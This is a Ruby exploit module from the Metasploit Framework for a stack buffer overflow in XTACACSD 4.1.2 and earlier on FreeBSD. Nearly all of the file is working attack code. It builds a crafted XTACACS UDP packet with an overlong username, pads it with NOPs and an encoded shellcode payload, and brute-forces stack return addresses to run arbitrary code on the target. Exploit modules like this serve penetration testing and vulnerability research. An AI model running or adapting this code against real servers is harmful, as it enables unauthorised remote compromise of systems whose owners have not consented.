92 lines
2.4 KiB
Ruby
92 lines
2.4 KiB
Ruby
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##
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# $Id: xtacacsd_report.rb 4419 2007-02-18 00:10:39Z hdm $
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/projects/Framework/
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##
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require 'msf/core'
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module Msf
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class Exploits::Freebsd::Tacacs::Xtacacsd_report < Msf::Exploit::Remote
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include Exploit::Remote::Udp
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include Exploit::Brute
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'XTACACSD <= 4.1.2 report() Buffer Overflow',
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'Description' => %q{
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This module exploits a stack overflow in XTACACSD <= 4.1.2. By
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sending a specially crafted XTACACS packet with an overly long
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username, an attacker may be able to execute arbitrary code.
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},
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'Author' => 'MC',
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'Version' => '$Revision:$',
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'References' =>
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[
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['URL', 'http://aluigi.altervista.org/adv/xtacacsdz-adv.txt'],
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],
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'Payload' =>
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{
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'Space' => 175,
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'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x20",
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'StackAdjustment' => -3500,
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'PrependEncoder' => "\x83\xec\x7f",
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'DisableNops' => 'True',
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},
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'Platform' => 'BSD',
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'Arch' => ARCH_X86,
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'Targets' =>
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[
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['FreeBSD 6.2-Release Bruteforce',
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{'Bruteforce' =>
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{
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'Start' => { 'Ret' => 0xbfbfea00 },
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'Stop' => { 'Ret' => 0xbfbfef00 },
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'Step' => 24,
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}
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},
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],
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],
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'Privileged' => true,
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Jan 8 2008'))
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register_options([Opt::RPORT(49)], self.class)
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end
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def brute_exploit(address)
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connect_udp
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sploit = "\x80" # Version
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sploit << "\x05" # Type: Connect
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sploit << "\xff\xff" # Nonce
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sploit << "\xff" # Username length
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sploit << "\x00" # Password length
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sploit << "\x00" # Response
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sploit << "\x00" # Reason
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sploit << "\xff\xff\xff\xff" # Result 1
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sploit << "\xff\xff\xff\xff" # Destination address
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sploit << "\xff\xff" # Destination port
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sploit << "\xff\xff" # Line
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sploit << "\x00\x00\x00\x00" # Result 2
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sploit << "\x00\x00" # Result 3
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sploit << make_nops(238 - payload.encoded.length)
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sploit << payload.encoded + [address['Ret']].pack('V')
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print_status("Trying target #{target.name} #{"%.8x" % address['Ret']}...")
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udp_sock.put(sploit)
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disconnect_udp
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end
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end
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end
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